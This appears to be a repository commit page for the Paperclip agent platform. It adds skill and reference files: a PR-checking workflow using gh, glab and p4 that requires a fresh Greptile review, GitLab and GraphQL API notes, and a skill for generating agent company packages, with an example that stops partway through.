fix: fail closed on unusable Codex auth during sandbox auth merge

When reusing a Codex sandbox, the workspace-restore step now performs
an auth-merge check before adopting the sandbox's auth.json. The merge
fails closed when:

- host or sandbox Codex auth is unusable (missing token or account)
- the subscription payload shapes differ between host and sandbox
- subscription account identities do not match

Additional hardening: node absence on PATH during the embedded decision
script now exits non-zero instead of silently falling through. Co-change
comments link parseAuth (the embedded script) to hasUsableAuthPayload
(codex-home.ts) so a future auth-format change cannot silently diverge
between the two implementations.

Co-Authored-By: Paperclip <noreply@paperclip.ing>
This commit is contained in:
Harold KimandPaperclip committed 2026-07-09 10:08:57 +00:00
commit 98df214917
3422 files changed
+1614966

No files matched your search

+379
View File
@@ -0,0 +1,379 @@
---
name: check-pr
description: >
Checks a GitHub, GitLab, or Perforce (p4) pull request (or merge request, or shelved changelist)
for unresolved review comments, failing status checks, and incomplete PR descriptions. Waits for
pending checks to complete, categorizes issues as actionable or informational, and optionally fixes
and resolves them. Use when the user wants to check a PR/MR/CL, address review feedback, or prepare
a change for submission.
license: MIT
compatibility: Requires git and gh (GitHub CLI), glab (GitLab CLI), or p4 (Perforce CLI) installed and authenticated.
metadata:
author: greptileai
version: "1.3"
allowed-tools: Bash(gh:*) Bash(glab:*) Bash(git:*) Bash(p4:*)
---
# Check PR
Analyze a pull request (GitHub), merge request (GitLab), or shelved changelist (Perforce) for review comments, status checks, and description completeness, then help address any issues found.
## Inputs
- **PR/MR/CL number** (optional): If not provided, detect the PR/MR for the current branch, or the default pending changelist for p4.
## Instructions
### 0. Detect platform
First check if the user is working in a Perforce depot by looking for a `.p4config` file or `P4CLIENT`/`P4PORT` environment variables:
```bash
# Check for Perforce environment
if p4 info >/dev/null 2>&1; then
VCS="perforce"
else
# Fall back to git remote detection
REMOTE_URL=$(git remote get-url origin)
if echo "$REMOTE_URL" | grep -qi "gitlab"; then
VCS="gitlab"
else
VCS="github"
fi
fi
```
For self-hosted GitLab instances whose hostname doesn't contain "gitlab", the user can override by passing `--vcs gitlab` as an input. For Perforce, the user can override by passing `--vcs perforce`.
### 1. Identify the PR/MR/CL
If a number was provided, use it. Otherwise, detect it:
**GitHub:**
```bash
gh pr view --json number,headRefName,headRefOid -q '{number: .number, branch: .headRefName, head: .headRefOid}'
```
**GitLab:**
```bash
glab mr view --output json | jq '.iid'
```
**Perforce:**
```bash
# List pending changelists for the current user/client
p4 changes -s pending -u $P4USER -c $P4CLIENT
```
Key field differences between platforms:
- GitHub: `number`, `headRefName`, `headRefOid`
- GitLab: `iid`, `source_branch`, `sha`
- Perforce: changelist number (CL), `shelved` files for in-review CLs
### 2. Fetch PR/MR/CL details
**GitHub:**
```bash
gh pr view <PR_NUMBER> --json title,body,state,reviews,comments,headRefName,headRefOid,statusCheckRollup
OWNER_REPO=$(gh repo view --json nameWithOwner -q .nameWithOwner)
gh api "repos/$OWNER_REPO/pulls/<PR_NUMBER>/comments"
gh api --paginate "repos/$OWNER_REPO/issues/<PR_NUMBER>/comments?per_page=100"
```
GitHub PRs are also issues, so general PR comments live on the issue comments endpoint. Greptile may edit a single general PR comment on each review cycle instead of creating a new review or comment. Always inspect the latest Greptile-authored general comment by `updated_at`, including any "Prompt to fix all with AI" section, before concluding that the PR is clear.
**GitLab:**
```bash
glab mr view <MR_IID> --output json
# Fetch discussions (inline diff comments are type "DiffNote"; general comments have null type)
glab api "projects/:fullpath/merge_requests/<MR_IID>/discussions"
```
For GitLab, paginate discussions if needed (add `?per_page=100&page=N`).
**Perforce:**
```bash
# Get changelist description, files, and status
p4 describe -s <CL_NUMBER>
# Get shelved files (for in-review CLs)
p4 describe -S <CL_NUMBER>
# Get the diff of the shelved changelist
p4 diff2 //...@=<CL_NUMBER> //...@=<CL_NUMBER>
# List review comments (if using p4 review workflow)
p4 review -c <CL_NUMBER>
```
Key Perforce CL fields:
- `Change`: changelist number
- `Status`: `pending`, `submitted`, `shelved`
- `Description`: the CL description / commit message
- `Files`: list of files in the CL
### 3. Wait for pending checks
Before analyzing, ensure all status checks have completed. If any checks are `PENDING` or `IN_PROGRESS` (GitHub) / `running` or `pending` (GitLab), poll every 30 seconds until all checks reach a terminal state.
**GitHub:** poll `statusCheckRollup` from `gh pr view`.
**GitLab:**
```bash
glab api "projects/:fullpath/merge_requests/<MR_IID>/pipelines"
```
Pipeline statuses: `running`, `pending`, `success`, `failed`, `canceled`, `skipped`. Poll until no pipeline has `running` or `pending` status.
**Perforce:** Perforce doesn't have built-in CI checks natively. If the team uses a review tool (Swarm, etc.) or an external CI triggered by shelve events, check the relevant system. Otherwise, proceed to analysis immediately.
### 4. Require a fresh Greptile review for the current head
For GitHub PRs, do not treat an existing Greptile review, comment, or summary as current unless it is tied to the PR's exact current `headRefOid`. This is especially important after pushing a new commit to an existing PR: a Greptile review on an older commit is stale, even if the PR still has a Greptile comment or prior review.
Fetch the current head SHA immediately before the Greptile gate:
```bash
HEAD_SHA=$(gh pr view <PR_NUMBER> --json headRefOid -q .headRefOid)
```
Then inspect check-runs for that commit and require a completed Greptile run:
```bash
OWNER_REPO=$(gh repo view --json nameWithOwner -q .nameWithOwner)
GREPTILE_CHECKS=$(gh api "repos/$OWNER_REPO/commits/$HEAD_SHA/check-runs?per_page=100" \
--jq '[.check_runs[] | select(.name | test("greptile"; "i"))]')
# A run only counts as a valid fresh pass when it has completed AND concluded cleanly.
# GitHub check-run conclusions: success, neutral, skipped, failure, timed_out,
# cancelled, action_required, stale. Treat success/neutral as clean;
# everything else (especially failure and action_required) must block.
FRESH_GREPTILE_COMPLETED=$(echo "$GREPTILE_CHECKS" \
| jq '[.[] | select(.status == "completed")] | length')
FRESH_GREPTILE_CLEAN=$(echo "$GREPTILE_CHECKS" \
| jq '[.[] | select(.status == "completed" and (.conclusion | IN("success","neutral")))] | length')
FRESH_GREPTILE_BLOCKING=$(echo "$GREPTILE_CHECKS" \
| jq '[.[] | select(.status == "completed" and ((.conclusion | IN("success","neutral")) | not))] | length')
if [ "$FRESH_GREPTILE_COMPLETED" = "0" ]; then
echo "Blocked: no completed Greptile review/check is tied to current PR head $HEAD_SHA."
echo "Request a fresh Greptile review against this head before marking the PR check done."
echo "Suggested trigger: gh pr comment <PR_NUMBER> --body \"@greptile review\""
exit 1
fi
if [ "$FRESH_GREPTILE_BLOCKING" != "0" ] || [ "$FRESH_GREPTILE_CLEAN" = "0" ]; then
echo "Blocked: Greptile completed on head $HEAD_SHA but did not conclude clean"
echo "(conclusion was failure/action_required/timed_out/cancelled/stale, or no clean run exists)."
echo "Address the findings, push, and re-run Greptile until it concludes success/clean on the new head."
exit 1
fi
```
If a Greptile check exists for the current head but is still pending or in progress, wait for it with the same polling pattern used by `greploop` rather than proceeding from older review material. If no Greptile check appears for the current head after a reasonable wait, report the PR as blocked on a fresh Greptile review for `HEAD_SHA` and stop. Do not mark the check complete from PR comments, PR reviews, or Greptile summaries that cannot be associated with the current head SHA.
For GitLab installations with Greptile integration, apply the same freshness rule against the MR's current head SHA:
```bash
# 1. Get the MR's current head SHA
MR_SHA=$(glab mr view <MR_IID> --output json | jq -r '.sha // .diff_refs.head_sha')
# 2. Find the latest pipeline for that EXACT sha, then the Greptile job within it.
LATEST_PIPELINE_ID=$(glab api "projects/:fullpath/merge_requests/<MR_IID>/pipelines" \
| jq -r --arg sha "$MR_SHA" '[.[] | select(.sha == $sha)] | sort_by(.id) | last | .id // empty')
if [ -n "$LATEST_PIPELINE_ID" ]; then
GREPTILE_JOBS=$(glab api "projects/:fullpath/pipelines/$LATEST_PIPELINE_ID/jobs" \
| jq --arg sha "$MR_SHA" '[.[] | select(.name | test("greptile"; "i"))
| {name, status, pipeline_sha: $sha}]')
else
GREPTILE_JOBS='[]'
fi
GREPTILE_JOB_SUCCESS=$(echo "$GREPTILE_JOBS" \
| jq '[.[] | select(.status == "success")] | length')
GREPTILE_JOB_BLOCKING=$(echo "$GREPTILE_JOBS" \
| jq '[.[] | select(.status != "success")] | length')
# 3. If Greptile integrates via MR notes instead of a CI job, require the newest
# Greptile note to reference the current head sha and report a clean review.
GREPTILE_NOTES=$(glab api "projects/:fullpath/merge_requests/<MR_IID>/discussions?per_page=100" \
| jq --arg sha "$MR_SHA" '[.[].notes[]
| select(.author.username | test("greptile"; "i"))]
| sort_by(.updated_at // .created_at)')
GREPTILE_NOTE_CLEAN=$(echo "$GREPTILE_NOTES" \
| jq --arg sha "$MR_SHA" 'if length == 0 then 0
elif ((last.body // "") | contains($sha) and test("Confidence Score:[[:space:]]*5/5|Confidence:[[:space:]]*5/5|\\b5/5\\b"; "i") and (test("Prompt To Fix|blocking issue|failed|action required"; "i") | not)) then 1
else 0 end')
if [ "$GREPTILE_JOB_SUCCESS" = "0" ] && [ "$GREPTILE_NOTE_CLEAN" = "0" ]; then
echo "Blocked: no successful Greptile job or completed-clean current-head Greptile note is tied to MR head $MR_SHA."
exit 1
fi
if [ "$GREPTILE_JOB_BLOCKING" != "0" ]; then
echo "Blocked: at least one Greptile job for MR head $MR_SHA did not succeed."
exit 1
fi
```
Block completion if, for `MR_SHA`, there is (a) no Greptile job or note at all (missing), (b) the newest Greptile job/note is tied to a different sha (stale), or (c) the Greptile job status is not `success`. A completed Greptile result for a different SHA is stale and must block completion.
For Perforce installations with Greptile integration, apply the same rule using the CL's current shelved-revision identity and the Greptile webhook/review artifact tied to it; a Greptile result for an earlier shelf is stale and must block completion.
### 5. Analyze the PR/MR
Once all checks are complete, evaluate these areas:
#### A. Status Checks
- Are all CI checks passing?
- If any are failing, identify which ones and the failure reason.
#### B. PR/MR Description
- Is the description complete and follows team conventions?
- Are all required sections filled in?
- Are there TODOs or placeholders that need updating?
#### C. Review Comments
- Inline code review comments that need addressing
- Look for bot review comments (e.g. from `greptile-apps[bot]` on GitHub, or the Greptile bot user on GitLab, linters, etc.)
- Human reviewer comments
- **Perforce:** review comments from `p4 review` or external review tools
#### D. General Comments
- Discussion comments on the PR/MR
- For GitHub, check the issue comments endpoint and use `updated_at` to catch bot comments edited in place. Greptile's latest edited summary can contain actionable items even when there are no new inline comments.
- Bot comments (deploy previews, etc.) - usually informational
- **Perforce:** CL description should include a clear summary, affected files rationale, and testing notes
### 6. Categorize issues
For each issue found, categorize as:
| Category | Meaning |
|---|---|
| **Actionable** | Code changes, test improvements, or fixes needed |
| **Informational** | Verification notes, questions, or FYIs that don't require changes |
| **Already addressed** | Issues that appear to be resolved by subsequent commits |
### 7. Report findings
Present a summary table:
| Area | Issue | Status | Action Needed |
|------|-------|--------|---------------|
| Status Checks | CI build failing | Failing | Fix type error in `src/api.ts` |
| Review | "Add null check" - @reviewer | Actionable | Add guard clause |
| Description | TODO placeholder in test plan | Actionable | Fill in test plan |
| Review | "Looks good" - @teammate | Informational | None |
### 8. Fix issues (if requested)
If there are actionable items:
1. Switch to the PR/MR's branch (git) or ensure files are open in the correct CL (Perforce) if not already.
2. Ask the user if they want to fix the issues.
3. If yes, make the fixes, then:
**GitHub/GitLab:** commit and push:
```bash
git add <files>
git commit -m "address review feedback"
git push
```
**Perforce:** open files for edit, make changes, and re-shelve:
```bash
p4 edit <file>
# make changes
p4 shelve -f -c <CL_NUMBER>
```
### 9. Resolve review threads
After addressing comments, resolve the corresponding review threads.
**Perforce** - Perforce does not have a native "resolve thread" concept. Instead, mark comments as addressed by updating the CL description or by responding in the review tool being used (Swarm, etc.). If using `p4 review`:
```bash
# Mark files as reviewed after addressing feedback
p4 review -c <CL_NUMBER>
```
**GitHub** - fetch unresolved thread IDs (paginate if needed - see [the GraphQL reference](references/graphql-queries.md)):
```bash
gh api graphql -f query='
query($cursor: String) {
repository(owner: "OWNER", name: "REPO") {
pullRequest(number: PR_NUMBER) {
reviewThreads(first: 100, after: $cursor) {
pageInfo { hasNextPage endCursor }
nodes {
id
isResolved
comments(first: 1) {
nodes { body path }
}
}
}
}
}
}'
```
If `hasNextPage` is true, repeat with `-f cursor=ENDCURSOR` to get remaining threads.
Then resolve threads that have been addressed or are informational:
```bash
gh api graphql -f query='
mutation {
resolveReviewThread(input: {threadId: "THREAD_ID"}) {
thread { isResolved }
}
}'
```
Batch multiple resolutions into a single mutation using aliases (`t1`, `t2`, etc.).
**GitLab** - fetch unresolved discussions (see [the GitLab API reference](references/gitlab-api.md)):
```bash
glab api "projects/:fullpath/merge_requests/<MR_IID>/discussions?per_page=100"
```
Filter for discussions where `"resolved": false`. Collect each discussion's `id`.
Resolve each discussion individually (GitLab has no batch resolution):
```bash
glab api --method PUT \
"projects/:fullpath/merge_requests/<MR_IID>/discussions/<DISCUSSION_ID>" \
--field resolved=true
```
Repeat for each unresolved discussion ID.
### 10. Multiple PRs/MRs/CLs
If checking a chain of PRs/MRs/CLs, process them sequentially.
**Perforce** - to check multiple changelists at once:
```bash
p4 changes -s pending -u $P4USER -c $P4CLIENT -l
```
## Output format
Summarize:
- PR/MR/CL title or description and current state
- Platform detected (GitHub / GitLab / Perforce)
- Status checks summary (passing/failing/pending) - or N/A for Perforce
- Total issues found
- Actionable items with descriptions
- Items that can be ignored with reasons
- Recommended next steps
@@ -0,0 +1,91 @@
# GitLab API Reference
Useful GitLab REST API calls for working with merge request discussions, using `glab api`.
`glab api` automatically resolves `:fullpath` to the URL-encoded project path from the local git remote.
## Fetch MR details
```bash
glab mr view <MR_IID> --output json
```
Key fields (compared to GitHub equivalents):
- `iid` - internal MR number (use this, not `id`)
- `source_branch` - equivalent to GitHub's `headRefName`
- `sha` - HEAD commit SHA, equivalent to GitHub's `headRefOid`
- `description` - equivalent to GitHub's `body`
## Fetch all discussions (inline + general comments)
```bash
glab api "projects/:fullpath/merge_requests/<MR_IID>/discussions?per_page=100"
```
Paginate with `&page=2`, `&page=3`, etc. until the response array length is less than `per_page`.
Each discussion object:
- `id` - discussion ID (used for resolution)
- `resolved` - `true` or `false`
- `notes` - array of note objects
Each note object:
- `type` - `"DiffNote"` for inline diff comments, `null` for general comments
- `author.username` - author's username
- `body` - comment text
- `position.new_path` - file path (for `DiffNote` type)
## Filter for unresolved inline diff comments
```bash
glab api "projects/:fullpath/merge_requests/<MR_IID>/discussions?per_page=100" | \
jq '[.[] | select(.resolved == false and (.notes[0].type == "DiffNote"))]'
```
## Resolve a single discussion
```bash
glab api --method PUT \
"projects/:fullpath/merge_requests/<MR_IID>/discussions/<DISCUSSION_ID>" \
--field resolved=true
```
There is no batch resolution in GitLab - issue one PUT per discussion.
## Fetch pipeline status for an MR
```bash
glab api "projects/:fullpath/merge_requests/<MR_IID>/pipelines"
```
Pipeline statuses: `running`, `pending`, `success`, `failed`, `canceled`, `skipped`.
## Fetch jobs for a specific pipeline
```bash
glab api "projects/:fullpath/pipelines/<PIPELINE_ID>/jobs"
```
Each job has `name`, `status`, `stage`, and `web_url`.
## Fetch MR notes (general comments and bot reviews)
```bash
glab api "projects/:fullpath/merge_requests/<MR_IID>/notes?per_page=100"
```
Filter by `author.username` to find Greptile bot comments. The exact bot username depends on the Greptile installation - check the first Greptile comment to identify it.
## Post a comment on an MR
```bash
glab mr note <MR_IID> --message "your message here"
```
Or via API:
```bash
glab api --method POST \
"projects/:fullpath/merge_requests/<MR_IID>/notes" \
--field body="your message here"
```
@@ -0,0 +1,89 @@
# GraphQL Queries Reference
Useful GitHub GraphQL queries for working with PR review threads.
## Fetch unresolved review threads (with pagination)
```graphql
query($cursor: String) {
repository(owner: "OWNER", name: "REPO") {
pullRequest(number: PR_NUMBER) {
reviewThreads(first: 100, after: $cursor) {
pageInfo {
hasNextPage
endCursor
}
nodes {
id
isResolved
comments(first: 3) {
nodes {
body
path
author { login }
createdAt
}
}
}
}
}
}
}
```
Pass `-f cursor=ENDCURSOR` on subsequent requests if `hasNextPage` is `true`.
## Resolve a single review thread
```graphql
mutation {
resolveReviewThread(input: {threadId: "THREAD_ID"}) {
thread { isResolved }
}
}
```
## Batch-resolve multiple threads
Use GraphQL aliases to resolve several threads in one request:
```graphql
mutation {
t1: resolveReviewThread(input: {threadId: "THREAD_ID_1"}) {
thread { isResolved }
}
t2: resolveReviewThread(input: {threadId: "THREAD_ID_2"}) {
thread { isResolved }
}
t3: resolveReviewThread(input: {threadId: "THREAD_ID_3"}) {
thread { isResolved }
}
}
```
## Fetch PR details (REST)
```bash
gh pr view <PR_NUMBER> --json title,body,state,reviews,comments,headRefName,statusCheckRollup
```
## Fetch inline review comments (REST)
```bash
OWNER_REPO=$(gh repo view --json nameWithOwner -q .nameWithOwner)
gh api "repos/$OWNER_REPO/pulls/<PR_NUMBER>/comments"
```
## Fetch general PR comments edited in place (REST)
General PR comments are issue comments. Greptile may update one summary comment repeatedly, so select by `updated_at` instead of `created_at`:
```bash
OWNER_REPO=$(gh repo view --json nameWithOwner -q .nameWithOwner)
gh api --paginate "repos/$OWNER_REPO/issues/<PR_NUMBER>/comments?per_page=100" \
| jq -s 'add
| map(select(.user.login | test("greptile"; "i")))
| sort_by(.updated_at)
| last
| {author: .user.login, updated_at, body}'
```
+277
View File
@@ -0,0 +1,277 @@
---
name: company-creator
description: >
Create agent company packages conforming to the Agent Companies specification
(agentcompanies/v1). Use when a user wants to create a new agent company from
scratch, build a company around an existing git repo or skills collection, or
scaffold a team/department of agents. Triggers on: "create a company", "make me
a company", "build a company from this repo", "set up an agent company",
"create a team of agents", "hire some agents", or when given a repo URL and
asked to turn it into a company. Do NOT use for importing an existing company
package (use the CLI import command instead) or for modifying a company that
is already running in Paperclip.
---
# Company Creator
Create agent company packages that conform to the Agent Companies specification.
Spec references:
- Normative spec: `docs/companies/companies-spec.md` (read this before generating files)
- Web spec: https://agentcompanies.io/specification
- Protocol site: https://agentcompanies.io/
## Two Modes
### Mode 1: Company From Scratch
The user describes what they want. Interview them to flesh out the vision, then generate the package.
### Mode 2: Company From a Repo
The user provides a git repo URL, local path, or tweet. Analyze the repo, then create a company that wraps it.
See [references/from-repo-guide.md](references/from-repo-guide.md) for detailed repo analysis steps.
## Process
### Step 1: Gather Context
Determine which mode applies:
- **From scratch**: What kind of company or team? What domain? What should the agents do?
- **From repo**: Clone/read the repo. Scan for existing skills, agent configs, README, source structure.
### Step 2: Interview (Use AskUserQuestion)
Do not skip this step. Use AskUserQuestion to align with the user before writing any files.
**For from-scratch companies**, ask about:
- Company purpose and domain (1-2 sentences is fine)
- What agents they need - propose a hiring plan based on what they described
- Whether this is a full company (needs a CEO) or a team/department (no CEO required)
- Any specific skills the agents should have
- How work flows through the organization (see "Workflow" below)
- Whether they want projects and starter tasks
**For from-repo companies**, present your analysis and ask:
- Confirm the agents you plan to create and their roles
- Whether to reference or vendor any discovered skills (default: reference)
- Any additional agents or skills beyond what the repo provides
- Company name and any customization
- Confirm the workflow you inferred from the repo (see "Workflow" below)
**Workflow — how does work move through this company?**
A company is not just a list of agents with skills. It's an organization that takes ideas and turns them into work products. You need to understand the workflow so each agent knows:
- Who gives them work and in what form (a task, a branch, a question, a review request)
- What they do with it
- Who they hand off to when they're done, and what that handoff looks like
- What "done" means for their role
**Not every company is a pipeline.** Infer the right workflow pattern from context:
- **Pipeline** — sequential stages, each agent hands off to the next. Use when the repo/domain has a clear linear process (e.g. plan → build → review → ship → QA, or content ideation → draft → edit → publish).
- **Hub-and-spoke** — a manager delegates to specialists who report back independently. Use when agents do different kinds of work that don't feed into each other (e.g. a CEO who dispatches to a researcher, a marketer, and an analyst).
- **Collaborative** — agents work together on the same things as peers. Use for small teams where everyone contributes to the same output (e.g. a design studio, a brainstorming team).
- **On-demand** — agents are summoned as needed with no fixed flow. Use when agents are more like a toolbox of specialists the user calls directly.
For from-scratch companies, propose a workflow pattern based on what they described and ask if it fits.
For from-repo companies, infer the pattern from the repo's structure. If skills have a clear sequential dependency (like `plan-ceo-review → plan-eng-review → review → ship → qa`), that's a pipeline. If skills are independent capabilities, it's more likely hub-and-spoke or on-demand. State your inference in the interview so the user can confirm or adjust.
**Key interviewing principles:**
- Propose a concrete hiring plan. Don't ask open-ended "what agents do you want?" - suggest specific agents based on context and let the user adjust.
- Keep it lean. Most users are new to agent companies. A few agents (3-5) is typical for a startup. Don't suggest 10+ agents unless the scope demands it.
- From-scratch companies should start with a CEO who manages everyone. Teams/departments don't need one.
- Ask 2-3 focused questions per round, not 10.
### Step 3: Read the Spec
Before generating any files, read the normative spec:
```
docs/companies/companies-spec.md
```
Also read the quick reference: [references/companies-spec.md](references/companies-spec.md)
And the example: [references/example-company.md](references/example-company.md)
### Step 4: Generate the Package
Create the directory structure and all files. Follow the spec's conventions exactly.
**Directory structure:**
```
<company-slug>/
├── COMPANY.md
├── agents/
│ └── <slug>/AGENTS.md
├── teams/
│ └── <slug>/TEAM.md (if teams are needed)
├── projects/
│ └── <slug>/PROJECT.md (if projects are needed)
├── tasks/
│ └── <slug>/TASK.md (if tasks are needed)
├── skills/
│ └── <slug>/SKILL.md (if custom skills are needed)
└── .paperclip.yaml (Paperclip vendor extension)
```
**Rules:**
- Slugs must be URL-safe, lowercase, hyphenated
- COMPANY.md gets `schema: agentcompanies/v1` - other files inherit it
- Agent instructions go in the AGENTS.md body, not in .paperclip.yaml
- Skills referenced by shortname in AGENTS.md resolve to `skills/<shortname>/SKILL.md`
- For external skills, use `sources` with `usage: referenced` (see spec section 12)
- Do not export secrets, machine-local paths, or database IDs
- Omit empty/default fields
- For companies generated from a repo, add a references footer at the bottom of COMPANY.md body:
`Generated from [repo-name](repo-url) with the company-creator skill from [Paperclip](https://github.com/paperclipai/paperclip)`
**Reporting structure:**
- Every agent except the CEO should have `reportsTo` set to their manager's slug
- The CEO has `reportsTo: null`
- For teams without a CEO, the top-level agent has `reportsTo: null`
**Writing workflow-aware agent instructions:**
Each AGENTS.md body should include not just what the agent does, but how they fit into the organization's workflow. Include:
1. **Where work comes from** — "You receive feature ideas from the user" or "You pick up tasks assigned to you by the CTO"
2. **What you produce** — "You produce a technical plan with architecture diagrams" or "You produce a reviewed, approved branch ready for shipping"
3. **Who you hand off to** — "When your plan is locked, hand off to the Staff Engineer for implementation" or "When review passes, hand off to the Release Engineer to ship"
4. **What triggers you** — "You are activated when a new feature idea needs product-level thinking" or "You are activated when a branch is ready for pre-landing review"
This turns a collection of agents into an organization that actually works together. Without workflow context, agents operate in isolation — they do their job but don't know what happens before or after them.
Add a concise execution contract to every generated working agent:
- Start actionable work in the same heartbeat and do not stop at a plan unless planning was requested.
- Leave durable progress in comments, documents, or work products with the next action.
- Use child issues for long or parallel delegated work instead of polling agents, sessions, or processes.
- Mark blocked work with the unblock owner and action.
- Respect budget, pause/cancel, approval gates, and company boundaries.
### Step 5: Confirm Output Location
Ask the user where to write the package. Common options:
- A subdirectory in the current repo
- A new directory the user specifies
- The current directory (if it's empty or they confirm)
### Step 6: Write README.md and LICENSE
**README.md** — every company package gets a README. It should be a nice, readable introduction that someone browsing GitHub would appreciate. Include:
- Company name and what it does
- The workflow / how the company operates
- Org chart as a markdown list or table showing agents, titles, reporting structure, and skills
- Brief description of each agent's role
- Citations and references: link to the source repo (if from-repo), link to the Agent Companies spec (https://agentcompanies.io/specification), and link to Paperclip (https://github.com/paperclipai/paperclip)
- A "Getting Started" section explaining how to import: `paperclipai company import --from <path>`
**LICENSE** — include a LICENSE file. The copyright holder is the user creating the company, not the upstream repo author (they made the skills, the user is making the company). Use the same license type as the source repo (if from-repo) or ask the user (if from-scratch). Default to MIT if unclear.
### Step 7: Write Files and Summarize
Write all files, then give a brief summary:
- Company name and what it does
- Agent roster with roles and reporting structure
- Skills (custom + referenced)
- Projects and tasks if any
- The output path
## .paperclip.yaml Guidelines
The `.paperclip.yaml` file is the Paperclip vendor extension. It configures adapters and env inputs per agent.
### Adapter Rules
**Do not specify an adapter unless the repo or user context warrants it.** If you don't know what adapter the user wants, omit the adapter block entirely — Paperclip will use its default. Specifying an unknown adapter type causes an import error.
Paperclip's supported adapter types (these are the ONLY valid values):
- `claude_local` — Claude Code CLI
- `codex_local` — Codex CLI
- `opencode_local` — OpenCode CLI
- `pi_local` — Pi CLI
- `cursor` — Cursor
- `gemini_local` — Gemini CLI
- `openclaw_gateway` — OpenClaw gateway
Only set an adapter when:
- The repo or its skills clearly target a specific runtime (e.g. gstack is built for Claude Code, so `claude_local` is appropriate)
- The user explicitly requests a specific adapter
- The agent's role requires a specific runtime capability
### Env Inputs Rules
**Do not add boilerplate env variables.** Only add env inputs that the agent actually needs based on its skills or role:
- `GH_TOKEN` for agents that push code, create PRs, or interact with GitHub
- API keys only when a skill explicitly requires them
- Never set `ANTHROPIC_API_KEY` as a default empty env variable — the runtime handles this
Example with adapter (only when warranted):
```yaml
schema: paperclip/v1
agents:
release-engineer:
adapter:
type: claude_local
config:
model: claude-sonnet-4-6
inputs:
env:
GH_TOKEN:
kind: secret
requirement: optional
```
Example — only agents with actual overrides appear:
```yaml
schema: paperclip/v1
agents:
release-engineer:
inputs:
env:
GH_TOKEN:
kind: secret
requirement: optional
```
In this example, only `release-engineer` appears because it needs `GH_TOKEN`. The other agents (ceo, cto, etc.) have no overrides, so they are omitted entirely from `.paperclip.yaml`.
## External Skill References
When referencing skills from a GitHub repo, always use the references pattern:
```yaml
metadata:
sources:
- kind: github-file
repo: owner/repo
path: path/to/SKILL.md
commit: <full SHA from git ls-remote or the repo>
attribution: Owner or Org Name
license: <from the repo's LICENSE>
usage: referenced
```
Get the commit SHA with:
```bash
git ls-remote https://github.com/owner/repo HEAD
```
Do NOT copy external skill content into the package unless the user explicitly asks.
@@ -0,0 +1,144 @@
# Agent Companies Specification Reference
The normative specification lives at:
- Web: https://agentcompanies.io/specification
- Local: docs/companies/companies-spec.md
Read the local spec file before generating any package files. The spec defines the canonical format and all frontmatter fields. Below is a quick-reference summary for common authoring tasks.
## Package Kinds
| File | Kind | Purpose |
| ---------- | ------- | ------------------------------------------------- |
| COMPANY.md | company | Root entrypoint, org boundary and defaults |
| TEAM.md | team | Reusable org subtree |
| AGENTS.md | agent | One role, instructions, and attached skills |
| PROJECT.md | project | Planned work grouping |
| TASK.md | task | Portable starter task |
| SKILL.md | skill | Agent Skills capability package (do not redefine) |
## Directory Layout
```
company-package/
├── COMPANY.md
├── agents/
│ └── <slug>/AGENTS.md
├── teams/
│ └── <slug>/TEAM.md
├── projects/
│ └── <slug>/
│ ├── PROJECT.md
│ └── tasks/
│ └── <slug>/TASK.md
├── tasks/
│ └── <slug>/TASK.md
├── skills/
│ └── <slug>/SKILL.md
├── assets/
├── scripts/
├── references/
└── .paperclip.yaml (optional vendor extension)
```
## Common Frontmatter Fields
```yaml
schema: agentcompanies/v1
kind: company | team | agent | project | task
slug: url-safe-stable-identity
name: Human Readable Name
description: Short description for discovery
version: 0.1.0
license: MIT
authors:
- name: Jane Doe
tags: []
metadata: {}
sources: []
```
- `schema` usually appears only at package root
- `kind` is optional when filename makes it obvious
- `slug` must be URL-safe and stable
- exporters should omit empty or default-valued fields
## COMPANY.md Required Fields
```yaml
name: Company Name
description: What this company does
slug: company-slug
schema: agentcompanies/v1
```
Optional: `version`, `license`, `authors`, `goals`, `includes`, `requirements.secrets`
## AGENTS.md Key Fields
```yaml
name: Agent Name
title: Role Title
reportsTo: <agent-slug or null>
skills:
- skill-shortname
```
- Body content is the agent's default instructions
- Skills resolve by shortname: `skills/<shortname>/SKILL.md`
- Do not export machine-specific paths or secrets
## TEAM.md Key Fields
```yaml
name: Team Name
description: What this team does
slug: team-slug
manager: ../agent-slug/AGENTS.md
includes:
- ../agent-slug/AGENTS.md
- ../../skills/skill-slug/SKILL.md
```
## PROJECT.md Key Fields
```yaml
name: Project Name
description: What this project delivers
owner: agent-slug
```
## TASK.md Key Fields
```yaml
name: Task Name
assignee: agent-slug
project: project-slug
schedule:
timezone: America/Chicago
startsAt: 2026-03-16T09:00:00-05:00
recurrence:
frequency: weekly
interval: 1
weekdays: [monday]
time: { hour: 9, minute: 0 }
```
## Source References (for external skills/content)
```yaml
sources:
- kind: github-file
repo: owner/repo
path: path/to/SKILL.md
commit: <full-sha>
sha256: <hash>
attribution: Owner Name
license: MIT
usage: referenced
```
Usage modes: `vendored` (bytes included), `referenced` (pointer only), `mirrored` (cached locally)
Default to `referenced` for third-party content.
@@ -0,0 +1,191 @@
# Example Company Package
A minimal but complete example of an agent company package.
## Directory Structure
```
lean-dev-shop/
├── COMPANY.md
├── agents/
│ ├── ceo/AGENTS.md
│ ├── cto/AGENTS.md
│ └── engineer/AGENTS.md
├── teams/
│ └── engineering/TEAM.md
├── projects/
│ └── q2-launch/
│ ├── PROJECT.md
│ └── tasks/
│ └── monday-review/TASK.md
├── tasks/
│ └── weekly-standup/TASK.md
├── skills/
│ └── code-review/SKILL.md
└── .paperclip.yaml
```
## COMPANY.md
```markdown
---
name: Lean Dev Shop
description: Small engineering-focused AI company that builds and ships software products
slug: lean-dev-shop
schema: agentcompanies/v1
version: 1.0.0
license: MIT
authors:
- name: Example Org
goals:
- Build and ship software products
- Maintain high code quality
---
Lean Dev Shop is a small, focused engineering company. The CEO oversees strategy and coordinates work. The CTO leads the engineering team. Engineers build and ship code.
```
## agents/ceo/AGENTS.md
```markdown
---
name: CEO
title: Chief Executive Officer
reportsTo: null
skills:
- paperclip
---
You are the CEO of Lean Dev Shop. You oversee company strategy, coordinate work across the team, and ensure projects ship on time.
Your responsibilities:
- Review and prioritize work across projects
- Coordinate with the CTO on technical decisions
- Ensure the company goals are being met
```
## agents/cto/AGENTS.md
```markdown
---
name: CTO
title: Chief Technology Officer
reportsTo: ceo
skills:
- code-review
- paperclip
---
You are the CTO of Lean Dev Shop. You lead the engineering team and make technical decisions.
Your responsibilities:
- Set technical direction and architecture
- Review code and ensure quality standards
- Mentor engineers and unblock technical challenges
```
## agents/engineer/AGENTS.md
```markdown
---
name: Engineer
title: Software Engineer
reportsTo: cto
skills:
- code-review
- paperclip
---
